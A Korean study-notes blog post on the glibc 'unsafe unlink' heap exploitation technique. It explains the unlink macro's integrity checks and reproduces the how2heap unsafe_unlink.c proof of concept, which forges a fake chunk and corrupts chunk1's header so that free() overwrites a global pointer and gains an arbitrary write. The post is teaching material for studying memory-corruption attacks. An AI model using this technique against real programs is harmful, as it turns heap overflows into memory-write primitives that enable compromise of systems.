https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsafe_unlink.c
# 시작하기 전에
unsafe_unlink는 unlink의 취약점을 통해서 사용자가 원하는 장소에 원하는 값을 적을 수 있다.
이부분에 대해서 공부할 때 heap의 unlink 에 대해서 알고가면 이해하는데 도움이 된다.
unlink : heap과 heap의 연결리스트를 끊다. (논리적 연결고리를 해제한다.)
ex) A <-> B <-> C => A <-> C
unlink 는 free를 할 때 인접한 chunk들이 함께 병합될때 호출되는 매크로이다.
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (chunksize_nomask (P))
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
P→size와 next chunk→prev_size 의 값이 다른지 확인한다.
P->fd->bk 와 P->bk->fd 가 P의 값과 다른지 확인을 한다.
# 이해하기
P->fd->bk 가 곧 자기 자신 P 이여야 한다는 조건이다.
( 이 때 P 는 병합하려는 이전에 free 한 청크이다. )
P->bk->fd = P 를 만족시키는 상황을 그림으로 확인해보자.
gdb를 통해서 자세히 확인 해볼 수도 있다.
이 부분을 보아 P->fd->bk 를 실행했을 때 P의 fd에는 main_arena+88 의 주소가 적혀있고
main_arena+88 +0x10(main_arena+88을 청크시작이라고보면 bk와 같은 위치) 에는 P의 주소가 적혀있으므로
P->fd->bk = P 를 만족시킨다.
fd 는 힙청크 기준으로 +0x10 시킨 위치고
bk 는 힙청크 기준으로 +0x18 시킨 위치를 말한다.
만약 이대로 free 하게 된다면 unlink 매크로의 조건을 통과하므로 병합이 정상적으로 일어날 것이다.
자신(P)의 chunk에 자신의 size를 더하면 next_chunk이다.
이 next_chunk의 prev_size가 현재 자기자신의 청크(P) size와 같은지 확인한다.
너무당연한가
그래서 unlink 가 일어나면 어떻게 되는가 ???
앞선 코드부분을 확인해보면 FD는 P->fd로 정의되었고 BK는 P->bk로 정의되었다.
P->fd->bk 에는 BK 값을 넣고
P->bk->fd 에는 FD 값을 넣는다
이해하려고 시도해보자
위와 같은 작업을 하는 이유를 생각해보면 연결리스트의 연결을 끊는다면(병합한다면)
병합하기 전 저장되있던 fd 값과 bk값을 넘겨주어야 연결리스트의 구조적 연결이 끊기지 않을 수 있다.
(FD->bk = BK) p->fd->bk = p->bk 가 되므로 main_arena+88[2] 에는 (BK) p->bk 값인 main_arena+88 값이 들어간다.
이후 P->bk->fd = FD 도 위와 같은 루틴을 통해 main_arena+88[3] 위치에 main_arena+88 의 주소가 적히게 된다.
# 활용하기
전역변수에 특정한 변수 주소값을 저장하여 해당 변수에 값을 적을 수 있게 된다.
< unsafe_unlink.c >
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main()
{
fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
fprintf(stderr, "We create a fake chunk inside chunk0.\n");
fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
//fprintf(stderr, "We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)\n");
//fprintf(stderr, "With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False\n");
//fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n");
//fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).\n");
//fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check\n");
//fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing\n");
//fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass\n");
//fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20\n");
//chunk0_ptr[1] = sizeof(size_t);
//fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)\n", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]);
//fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\n");
fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);
fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
fprintf(stderr, "Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %s\n",victim_string);
}
조건을 어떻게 맞추어야하는지 이해되었다면 어떻게 병합이 발생했는지 이해해보자
chunk0_ptr은 unlink 과정을 통해 chunk0_ptr-0x18 주소값을 가지게 될것이고
따라서 chunk0_ptr[3] (chunck0_ptr - 0x18 + 0x18 )에 victim_string 주솟값을 넣어준다면
chunk0_ptr 은 victim_string 을 가르키게 되고
이에 따라 chunk0_ptr[0] 의 값을 수정하면 victim_string 의 값이 BBBBAAAA 로 들어가게 되는 것이다.
4141414142424242 인데 왜 BBBBAAAA 인지는 알겠지!
# 참고하면 좋은 사이트
https://code1018.tistory.com/195
https://www.lazenca.net/display/TEC/unsafe+unlink
'System Hacking > Study Notes' 카테고리의 다른 글
pwntool 함수 (0) | 2020.01.07 |
---|---|
LD 와 libc.so.6 (0) | 2019.12.29 |
Address SANitizer 미완 (0) | 2019.11.04 |
Tcache_Duplicate (0) | 2019.10.08 |
잡기술 (0) | 2019.09.11 |